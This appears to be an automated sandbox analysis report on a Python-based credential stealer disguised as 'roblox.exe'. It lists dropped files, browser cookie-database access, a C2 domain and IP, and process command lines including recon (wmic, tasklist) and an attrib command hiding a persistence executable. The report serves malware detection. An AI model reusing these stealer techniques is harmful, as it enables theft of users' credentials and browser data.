File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	1121192
Entropy (8bit):	5.384501252071814
Encrypted:	false
SSDEEP:	12288:bMYYMmuZ63NoQCb5Pfhnzr0ql8L8koM7IRG5eeme6VZyrIBHdQLhfFE+uz9O:AYYuXZV0m8wMMREtV6Vo4uYz9O
MD5:	102BBBB1F33CE7C007AAC08FE0A1A97E
SHA1:	9A8601BEA3E7D4C2FA6394611611CDA4FC76E219
SHA-256:	2CF6C5DEA30BB0584991B2065C052C22D258B6E15384447DCEA193FDCAC5F758
SHA-512:	A07731F314E73F7A9EA73576A89CCB8A0E55E53F9B5B82F53121B97B1814D905B17A2DA9BD2EDA9F9354FC3F15E3DEA7A613D7C9BC98C36BBA653743B24DFC32
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........(..F...F...F......F..G...F..C...F..B...F..E...F...G...F.C.G...F...G...F...K...F...F...F.......F...D...F.Rich..F.........................PE..d....K.b.........." ... .B...........*.......................................@......Y.....`.............................................X...(........ ...................)...0......@b..T............................a..@............`..x............................text....A.......B.................. ..`.rdata......`.......F..............@..@.data...............................@....pdata..............................@..@.rsrc........ ......................@..@.reloc.......0......................@..B................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\onefile_6600_133790036363528352\vcruntime140.dll

Download File

Process:	C:\Users\user\Desktop\roblox.exe
File Type:	PE32+ executable (DLL) (console) x86-64, for MS Windows
Category:	dropped
Size (bytes):	98736
Entropy (8bit):	6.474996871326343
Encrypted:	false
SSDEEP:	1536:BxhUQePlHhR46rXHHGI+mAAD4AeDuXMycecb8i10DWZz:Bvk4wHH+mZD4ADAecb8G1
MD5:	F12681A472B9DD04A812E16096514974
SHA1:	6FD102EB3E0B0E6EEF08118D71F28702D1A9067C
SHA-256:	D66C3B47091CEB3F8D3CC165A43D285AE919211A0C0FCB74491EE574D8D464F8
SHA-512:	7D3ACCBF84DE73FB0C5C0DE812A9ED600D39CD7ED0F99527CA86A57CE63F48765A370E913E3A46FFC2CCD48EE07D823DAFDD157710EEF9E7CC1EB7505DC323A2
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......A.&k..H8..H8..H8.I9..H8...8..H8..I8(.H8e.K9..H8e.L9..H8e.M9..H8e.H9..H8e..8..H8e.J9..H8Rich..H8................PE..d....9............" ... .....`......`.....................................................`A........................................0C..4...dK...............p..p....Z...'...........-..p............................,..@............................................text............................... ..`.rdata...A.......B..................@..@.data...0....`.......B..............@....pdata..p....p.......F..............@..@_RDATA..\............R..............@..@.rsrc................T..............@..@.reloc...............X..............@..B........................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\onefile_6600_133790036363528352\yarl\_helpers_c.pyd

Download File

Process:	C:\Users\user\Desktop\roblox.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	54784
Entropy (8bit):	5.745430306227729
Encrypted:	false
SSDEEP:	768:luW10HHYD8RU55Wo0YixccXdyNkj32cf4p9hQQv5QbxiXjoltOanMvydo:lueEHBMIo0ZxcEyNOn4/+iXjYMvy
MD5:	6FB550DDAEE31AFEDD29BDB97E2525F2
SHA1:	B58257F37C581F143176D0C7ABD3A98FEC75A12F
SHA-256:	33A9B6F1CAEDE0DBC9EE83097DEA21C6DB0A5CABFF27F2917EA94CF47688E9DF
SHA-512:	DBEB69892C63238AEA76422815E45B7B1E12A7D2A0BCC6170F690B68EB56BC04C071413885FCE81CC6CE435D9C60C36D9B97C792C75C21541DB612C48124DF38
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........o.Z.............v?..............v..............................f{...........................S...........Rich............................PE..d....X.f.........." ...).....Z...............................................0............`.........................................`...d.......d...............,............ ......`............................... ...@............................................text............................... ..`.rdata...8.......:..................@..@.data...0...........................@....pdata..,...........................@..@.rsrc...............................@..@.reloc....... ......................@..B................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\onefile_6600_133790036363528352\yarl\_quoting_c.pyd

Download File

Process:	C:\Users\user\Desktop\roblox.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	95744
Entropy (8bit):	5.981540506645796
Encrypted:	false
SSDEEP:	1536:rcNWyKPvIOrTasrpKBbylBwq9FJwHGa6NWfJc97JxtR:4wyyvIAasrEBOwIH0GaPJc97JxtR
MD5:	6809491F7B8AD46A7281E222CA71745A
SHA1:	138C75BFB03B1D54CD62FE14C3DC4501CB418397
SHA-256:	80660605AE26882225D02D130D0A84927635A79C78055C2EEDE010A28E84EB32
SHA-512:	97B498E3F69DE6CCC4F3373683D9E2AAE67CBE2532508A7677738702BBAF02EBD7C05C26E53CEBB076F9943EEA59B1AC4B9F7EE71A1626B8E31E539D009B39E8
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......J..].....................;......E.......;.......;.......;.....................F:......F:......F:j.....F:......Rich............PE..d...!X.f.........." ...)..................................................................`..........................................X..d...4Y..x...............................,....G..............................PF..@............ ..`............................text............................... ..`.rdata...M... ...N..................@..@.data...@7...p.......Z..............@....pdata...............f..............@..@.rsrc................r..............@..@.reloc..,............t..............@..B................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\cookies.sqlite-shm

Download File

Process:	C:\Users\user\AppData\Local\Temp\onefile_6600_133790036363528352\stub.exe
File Type:	data
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	0.017262956703125623
Encrypted:	false
SSDEEP:	3:G8lQs2TSlElQs2TtPRp//:G0QjSaQjrpX
MD5:	B7C14EC6110FA820CA6B65F5AEC85911
SHA1:	608EEB7488042453C9CA40F7E1398FC1A270F3F4
SHA-256:	FD4C9FDA9CD3F9AE7C962B0DDF37232294D55580E1AA165AA06129B8549389EB
SHA-512:	D8D75760F29B1E27AC9430BC4F4FFCEC39F1590BE5AEF2BFB5A535850302E067C288EF59CF3B2C5751009A22A6957733F9F80FA18F2B0D33D90C068A3F08F3B0
Malicious:	false
Preview:	..-.....................................8...5.....-.....................................8...5...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\places.sqlite-shm

Download File

Process:	C:\Users\user\AppData\Local\Temp\onefile_6600_133790036363528352\stub.exe
File Type:	data
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	0.017262956703125623
Encrypted:	false
SSDEEP:	3:G8lQs2TSlElQs2TtPRp//:G0QjSaQjrpX
MD5:	B7C14EC6110FA820CA6B65F5AEC85911
SHA1:	608EEB7488042453C9CA40F7E1398FC1A270F3F4
SHA-256:	FD4C9FDA9CD3F9AE7C962B0DDF37232294D55580E1AA165AA06129B8549389EB
SHA-512:	D8D75760F29B1E27AC9430BC4F4FFCEC39F1590BE5AEF2BFB5A535850302E067C288EF59CF3B2C5751009A22A6957733F9F80FA18F2B0D33D90C068A3F08F3B0
Malicious:	false
Preview:	..-.....................................8...5.....-.....................................8...5...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

Static File Info

General

File type:	PE32+ executable (console) x86-64 (stripped to external PDB), for MS Windows
Entropy (8bit):	7.997458781189106
TrID:	Win64 Executable (generic) (12005/4) 74.95% Generic Win/DOS Executable (2004/3) 12.51% DOS Executable Generic (2002/1) 12.50% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.04%
File name:	roblox.exe
File size:	11'169'792 bytes
MD5:	6898eace70e2da82f257bc78cb081b2f
SHA1:	5ac5ed21436d8b4c59c0b62836d531844c571d6d
SHA256:	bcdd8b7c9ec736765d4596332c0fec1334b035d4456df1ec25b569f9b6431a23
SHA512:	ca719707417a095fe092837e870aefc7e8874ef351e27b5b41e40f46a9e2f6cb2ba915858bc3c99a14c2f1288c71c7ddd9c2adee6588d6b43cd3ba276e1585d2
SSDEEP:	196608:EXJw5XZ54Gu3tLvKixbJ5qtWwgbBnNUm1ae30eL3h8g3SGXm4iF+gPa:Gy3RCBKixdoYwgNNp1IeSQSGWpFj
TLSH:	F7B633E0A74B05BEC387C8B59E422BFAF028FCE54570943F5555A6B87B67B300B22B51
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..d...-b[g...............+.....l...>..%..........@............................. ......{.....`... ............................

File Icon


Icon Hash:	00928e8e8686b000

Static PE Info

General

Entrypoint:	0x140001125
Entrypoint Section:	.text
Digitally signed:	false
Imagebase:	0x140000000
Subsystem:	windows cui
Image File Characteristics:	EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, LARGE_ADDRESS_AWARE, DEBUG_STRIPPED
DLL Characteristics:	HIGH_ENTROPY_VA, DYNAMIC_BASE, NX_COMPAT
Time Stamp:	0x675B622D [Thu Dec 12 22:22:37 2024 UTC]
TLS Callbacks:	0x40014ca0, 0x1, 0x40014d60, 0x1
CLR (.Net) Version:
OS Version Major:	4
OS Version Minor:	0
File Version Major:	4
File Version Minor:	0
Subsystem Version Major:	4
Subsystem Version Minor:	0
Import Hash:	0cad4d75817cf5181c89bf958567a0e8

Entrypoint Preview

Instruction
push ebp
dec eax
mov ebp, esp
dec eax
sub esp, 30h
mov dword ptr [ebp-04h], 000000FFh
dec eax
mov eax, dword ptr [0001E985h]
mov dword ptr [eax], 00000000h
call 00007F54310ABBA3h
mov dword ptr [ebp-04h], eax
nop
nop
mov eax, dword ptr [ebp-04h]
dec eax
add esp, 30h
pop ebp
ret
push ebp
dec eax
mov ebp, esp
dec eax
sub esp, 70h
dec eax
mov dword ptr [ebp-10h], 00000000h
mov dword ptr [ebp-1Ch], 00000030h
mov eax, dword ptr [ebp-1Ch]
dec eax
mov eax, dword ptr [eax]
dec eax
mov dword ptr [ebp-28h], eax
dec eax
mov eax, dword ptr [ebp-28h]
dec eax
mov eax, dword ptr [eax+08h]
dec eax
mov dword ptr [ebp-18h], eax
mov dword ptr [ebp-04h], 00000000h
jmp 00007F54310ABBB3h
dec eax
mov eax, dword ptr [ebp-10h]
dec eax
cmp eax, dword ptr [ebp-18h]
jne 00007F54310ABB9Bh
mov dword ptr [ebp-04h], 00000001h
jmp 00007F54310ABBD7h
mov ecx, 000003E8h
dec eax
mov eax, dword ptr [000472FEh]
call eax
dec eax
mov eax, dword ptr [0001E95Dh]
dec eax
mov dword ptr [ebp-30h], eax
dec eax
mov eax, dword ptr [ebp-18h]
dec eax
mov dword ptr [ebp-38h], eax
dec eax
mov dword ptr [ebp-40h], 00000000h
dec eax
mov ecx, dword ptr [ebp-38h]
dec eax
mov eax, dword ptr [ebp-40h]
dec eax
mov edx, dword ptr [ebp-30h]
dec eax
cmpxchg dword ptr [edx], ecx
dec eax
mov dword ptr [ebp-10h], eax
dec eax
cmp dword ptr [ebp-10h], 00000000h
jne 00007F54310ABB3Ah
dec eax
mov eax, dword ptr [0001E936h]
mov eax, dword ptr [eax]

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x48000	0xe14	.idata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x4b000	0xa858b8	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x22000	0x7c8	.pdata
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0xad1000	0x90	.reloc
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x1f360	0x28	.rdata
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x48368	0x318	.idata
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x1000	0x1b828	0x1ba00	1455bf91ae500609df54dc39473cd02c	False	0.5004153704751131	data	6.3279571847761	IMAGE_SCN_CNT_CODE, IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.data	0x1d000	0x100	0x200	eb9a6cb228491de89417dc68d3c3e465	False	0.173828125	data	1.1472281521632943	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rdata	0x1e000	0x2ab0	0x2c00	06ba628f277d0fbdce9d69acb88071d4	False	0.27494673295454547	data	5.143379586263529	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.eh_fram	0x21000	0x4	0x200	bf619eac0cdf3f68d496ea9344137e8b	False	0.02734375	data	0.0	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.pdata	0x22000	0x7c8	0x800	264a8f496e19cc8aa452042d9082d892	False	0.4990234375	data	5.135211167390138	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.xdata	0x23000	0x970	0xa00	7b4256fb41288066fee448ce27d14d87	False	0.276171875	shared library	4.49993989238553	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.bss	0x24000	0x23c90	0x0	d41d8cd98f00b204e9800998ecf8427e	False	0	empty	0.0	IMAGE_SCN_CNT_UNINITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.idata	0x48000	0xe14	0x1000	b67a6c2d0d3709103b2f787b6c1f601a	False	0.31201171875	data	4.089062374830754	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.CRT	0x49000	0x60	0x200	78ac47b49507f3b1f9fdfe0f61a65ad6	False	0.0703125	data	0.3164000245953951	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.tls	0x4a000	0x10	0x200	bf619eac0cdf3f68d496ea9344137e8b	False	0.02734375	data	0.0	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rsrc	0x4b000	0xa858b8	0xa85a00	de84e53ffd78ed9a0477daece05d6df6	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.reloc	0xad1000	0x90	0x200	817e154368d240e8615462a76de66e30	False	0.279296875	data	1.7625445577197119	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
RT_RCDATA	0x4b0a0	0xa85420	data			1.0003108978271484
RT_MANIFEST	0xad04c0	0x3f8	ASCII text, with very long lines (1016), with no line terminators			0.4655511811023622

Imports

DLL	Import
KERNEL32.dll	CloseHandle, CopyFileW, CreateDirectoryW, CreateFileMappingW, CreateFileW, CreateProcessW, DeleteCriticalSection, DeleteFileW, EnterCriticalSection, FindResourceA, FormatMessageA, FreeLibrary, GenerateConsoleCtrlEvent, GetCommandLineW, GetCurrentProcessId, GetEnvironmentVariableW, GetExitCodeProcess, GetFileAttributesW, GetFileSize, GetLastError, GetModuleFileNameW, GetModuleHandleA, GetProcAddress, GetProcessId, GetStdHandle, GetSystemTimeAsFileTime, GetTempPathW, InitializeCriticalSection, IsDBCSLeadByteEx, LeaveCriticalSection, LoadLibraryA, LoadResource, LockResource, MapViewOfFile, MultiByteToWideChar, ReadFile, SetConsoleCtrlHandler, SetEnvironmentVariableW, SetUnhandledExceptionFilter, SizeofResource, Sleep, TerminateProcess, TlsGetValue, UnmapViewOfFile, VirtualProtect, VirtualQuery, WaitForSingleObject, WideCharToMultiByte, WriteFile
msvcrt.dll	__C_specific_handler, ___lc_codepage_func, ___mb_cur_max_func, __iob_func, __set_app_type, __setusermatherr, __wargv, __wgetmainargs, __winitenv, _amsg_exit, _cexit, _commode, _errno, _fmode, _initterm, _lock, _onexit, _unlock, _wcsdup, _wcsicmp, _wrename, abort, calloc, exit, fprintf, fputc, free, fwrite, localeconv, malloc, mbstowcs, memcpy, memmove, memset, puts, signal, strerror, strlen, strncmp, vfprintf, wcschr, wcscmp, wcslen, wcsncmp
SHELL32.dll	CommandLineToArgvW, SHFileOperationW, SHGetFolderPathW

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Dec 18, 2024 14:54:04.717336893 CET	49718	80	192.168.2.5	208.95.112.1
Dec 18, 2024 14:54:04.837064028 CET	80	49718	208.95.112.1	192.168.2.5
Dec 18, 2024 14:54:04.837153912 CET	49718	80	192.168.2.5	208.95.112.1
Dec 18, 2024 14:54:04.838015079 CET	49718	80	192.168.2.5	208.95.112.1
Dec 18, 2024 14:54:04.957607031 CET	80	49718	208.95.112.1	192.168.2.5
Dec 18, 2024 14:54:05.958512068 CET	80	49718	208.95.112.1	192.168.2.5
Dec 18, 2024 14:54:05.959676027 CET	49718	80	192.168.2.5	208.95.112.1
Dec 18, 2024 14:54:06.079494953 CET	80	49718	208.95.112.1	192.168.2.5
Dec 18, 2024 14:54:06.079622030 CET	49718	80	192.168.2.5	208.95.112.1
Dec 18, 2024 14:54:32.023456097 CET	49782	443	192.168.2.5	135.181.65.219
Dec 18, 2024 14:54:32.023508072 CET	443	49782	135.181.65.219	192.168.2.5
Dec 18, 2024 14:54:32.024159908 CET	49782	443	192.168.2.5	135.181.65.219
Dec 18, 2024 14:54:32.025233984 CET	49782	443	192.168.2.5	135.181.65.219
Dec 18, 2024 14:54:32.025247097 CET	443	49782	135.181.65.219	192.168.2.5
Dec 18, 2024 14:54:33.462618113 CET	443	49782	135.181.65.219	192.168.2.5
Dec 18, 2024 14:54:33.463516951 CET	49782	443	192.168.2.5	135.181.65.219
Dec 18, 2024 14:54:33.463535070 CET	443	49782	135.181.65.219	192.168.2.5
Dec 18, 2024 14:54:33.464647055 CET	443	49782	135.181.65.219	192.168.2.5
Dec 18, 2024 14:54:33.464718103 CET	49782	443	192.168.2.5	135.181.65.219
Dec 18, 2024 14:54:33.465620995 CET	49782	443	192.168.2.5	135.181.65.219
Dec 18, 2024 14:54:33.465683937 CET	443	49782	135.181.65.219	192.168.2.5
Dec 18, 2024 14:54:33.465837002 CET	443	49782	135.181.65.219	192.168.2.5
Dec 18, 2024 14:54:33.465893030 CET	49782	443	192.168.2.5	135.181.65.219
Dec 18, 2024 14:54:33.465909004 CET	49782	443	192.168.2.5	135.181.65.219

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Dec 18, 2024 14:54:04.457645893 CET	61533	53	192.168.2.5	1.1.1.1
Dec 18, 2024 14:54:04.694175959 CET	53	61533	1.1.1.1	192.168.2.5
Dec 18, 2024 14:54:31.384546995 CET	50363	53	192.168.2.5	1.1.1.1
Dec 18, 2024 14:54:32.022104025 CET	53	50363	1.1.1.1	192.168.2.5

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Dec 18, 2024 14:54:04.457645893 CET	192.168.2.5	1.1.1.1	0xe0a0	Standard query (0)	ip-api.com	A (IP address)	IN (0x0001)	false
Dec 18, 2024 14:54:31.384546995 CET	192.168.2.5	1.1.1.1	0x2060	Standard query (0)	restores.name	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Dec 18, 2024 14:54:04.694175959 CET	1.1.1.1	192.168.2.5	0xe0a0	No error (0)	ip-api.com		208.95.112.1	A (IP address)	IN (0x0001)	false
Dec 18, 2024 14:54:32.022104025 CET	1.1.1.1	192.168.2.5	0x2060	No error (0)	restores.name		135.181.65.219	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

ip-api.com

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.5	49718	208.95.112.1	80	1892	C:\Users\user\AppData\Local\Temp\onefile_6600_133790036363528352\stub.exe

Timestamp	Bytes transferred	Direction	Data
Dec 18, 2024 14:54:04.838015079 CET	125	OUT	GET /json HTTP/1.1 Host: ip-api.com Accept: / Accept-Encoding: gzip, deflate User-Agent: Python/3.10 aiohttp/3.10.5
Dec 18, 2024 14:54:05.958512068 CET	483	IN	HTTP/1.1 200 OK Date: Wed, 18 Dec 2024 13:54:04 GMT Content-Type: application/json; charset=utf-8 Content-Length: 306 Access-Control-Allow-Origin: * X-Ttl: 60 X-Rl: 44 Data Raw: 7b 22 73 74 61 74 75 73 22 3a 22 73 75 63 63 65 73 73 22 2c 22 63 6f 75 6e 74 72 79 22 3a 22 55 6e 69 74 65 64 20 53 74 61 74 65 73 22 2c 22 63 6f 75 6e 74 72 79 43 6f 64 65 22 3a 22 55 53 22 2c 22 72 65 67 69 6f 6e 22 3a 22 4e 59 22 2c 22 72 65 67 69 6f 6e 4e 61 6d 65 22 3a 22 4e 65 77 20 59 6f 72 6b 22 2c 22 63 69 74 79 22 3a 22 4e 65 77 20 59 6f 72 6b 22 2c 22 7a 69 70 22 3a 22 31 30 31 32 33 22 2c 22 6c 61 74 22 3a 34 30 2e 37 31 32 38 2c 22 6c 6f 6e 22 3a 2d 37 34 2e 30 30 36 2c 22 74 69 6d 65 7a 6f 6e 65 22 3a 22 41 6d 65 72 69 63 61 2f 4e 65 77 5f 59 6f 72 6b 22 2c 22 69 73 70 22 3a 22 4c 65 76 65 6c 20 33 22 2c 22 6f 72 67 22 3a 22 43 65 6e 74 75 72 79 4c 69 6e 6b 20 43 6f 6d 6d 75 6e 69 63 61 74 69 6f 6e 73 2c 20 4c 4c 43 22 2c 22 61 73 22 3a 22 41 53 33 33 35 36 20 4c 65 76 65 6c 20 33 20 50 61 72 65 6e 74 2c 20 4c 4c 43 22 2c 22 71 75 65 72 79 22 3a 22 38 2e 34 36 2e 31 32 33 2e 31 38 39 22 7d Data Ascii: {"status":"success","country":"United States","countryCode":"US","region":"NY","regionName":"New York","city":"New York","zip":"10123","lat":40.7128,"lon":-74.006,"timezone":"America/New_York","isp":"Level 3","org":"CenturyLink Communications, LLC","as":"AS3356 Level 3 Parent, LLC","query":"8.46.123.189"}

Target ID:	0
Start time:	08:53:56
Start date:	18/12/2024
Path:	C:\Users\user\Desktop\roblox.exe
Wow64 process (32bit):	false
Commandline:	"C:\Users\user\Desktop\roblox.exe"
Imagebase:	0x7ff753230000
File size:	11'169'792 bytes
MD5 hash:	6898EACE70E2DA82F257BC78CB081B2F
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_GenericPythonStealer, Description: Yara detected Generic Python Stealer, Source: 00000000.00000003.2221867943.000001B2AD2ED000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_MonsterStealer, Description: Yara detected Monster Stealer, Source: 00000000.00000003.2221867943.000001B2AD2ED000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000000.00000003.2221867943.000001B2AD2ED000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	1
Start time:	08:53:56
Start date:	18/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	08:53:59
Start date:	18/12/2024
Path:	C:\Users\user\AppData\Local\Temp\onefile_6600_133790036363528352\stub.exe
Wow64 process (32bit):	false
Commandline:	C:\Users\user\Desktop\roblox.exe
Imagebase:	0x7ff6acd90000
File size:	16'927'232 bytes
MD5 hash:	D09A400F60C7A298E884F90539E9C72F
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000003.00000002.2571449255.0000028959310000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_GenericPythonStealer, Description: Yara detected Generic Python Stealer, Source: 00000003.00000002.2577492914.00007FF6AD8CF000.00000002.00000001.01000000.00000004.sdmp, Author: Joe Security Rule: JoeSecurity_MonsterStealer, Description: Yara detected Monster Stealer, Source: 00000003.00000002.2577492914.00007FF6AD8CF000.00000002.00000001.01000000.00000004.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000003.00000002.2577492914.00007FF6AD8CF000.00000002.00000001.01000000.00000004.sdmp, Author: Joe Security Rule: JoeSecurity_GenericPythonStealer, Description: Yara detected Generic Python Stealer, Source: 00000003.00000000.2229572873.00007FF6AD8CF000.00000002.00000001.01000000.00000004.sdmp, Author: Joe Security Rule: JoeSecurity_MonsterStealer, Description: Yara detected Monster Stealer, Source: 00000003.00000000.2229572873.00007FF6AD8CF000.00000002.00000001.01000000.00000004.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000003.00000000.2229572873.00007FF6AD8CF000.00000002.00000001.01000000.00000004.sdmp, Author: Joe Security Rule: JoeSecurity_GenericPythonStealer, Description: Yara detected Generic Python Stealer, Source: C:\Users\user\AppData\Local\Temp\onefile_6600_133790036363528352\stub.exe, Author: Joe Security Rule: JoeSecurity_MonsterStealer, Description: Yara detected Monster Stealer, Source: C:\Users\user\AppData\Local\Temp\onefile_6600_133790036363528352\stub.exe, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: C:\Users\user\AppData\Local\Temp\onefile_6600_133790036363528352\stub.exe, Author: Joe Security
Antivirus matches:	Detection: 50%, ReversingLabs
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	08:53:59
Start date:	18/12/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\cmd.exe /c "ver"
Imagebase:	0x7ff76b820000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	5
Start time:	08:53:59
Start date:	18/12/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\cmd.exe /c "wmic csproduct get uuid"
Imagebase:	0x7ff76b820000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	6
Start time:	08:53:59
Start date:	18/12/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\cmd.exe /c "tasklist"
Imagebase:	0x7ff76b820000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	7
Start time:	08:54:00
Start date:	18/12/2024
Path:	C:\Windows\System32\tasklist.exe
Wow64 process (32bit):	false
Commandline:	tasklist
Imagebase:	0x7ff7c0a20000
File size:	106'496 bytes
MD5 hash:	D0A49A170E13D7F6AEBBEFED9DF88AAA
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	8
Start time:	08:54:00
Start date:	18/12/2024
Path:	C:\Windows\System32\wbem\WMIC.exe
Wow64 process (32bit):	false
Commandline:	wmic csproduct get uuid
Imagebase:	0x7ff67e980000
File size:	576'000 bytes
MD5 hash:	C37F2F4F4B3CD128BDABCAEB2266A785
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	9
Start time:	08:54:02
Start date:	18/12/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\cmd.exe /c "attrib +h +s "C:\Users\user\AppData\Local\MonsterUpdateService\Monster.exe""
Imagebase:	0x7ff76b820000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
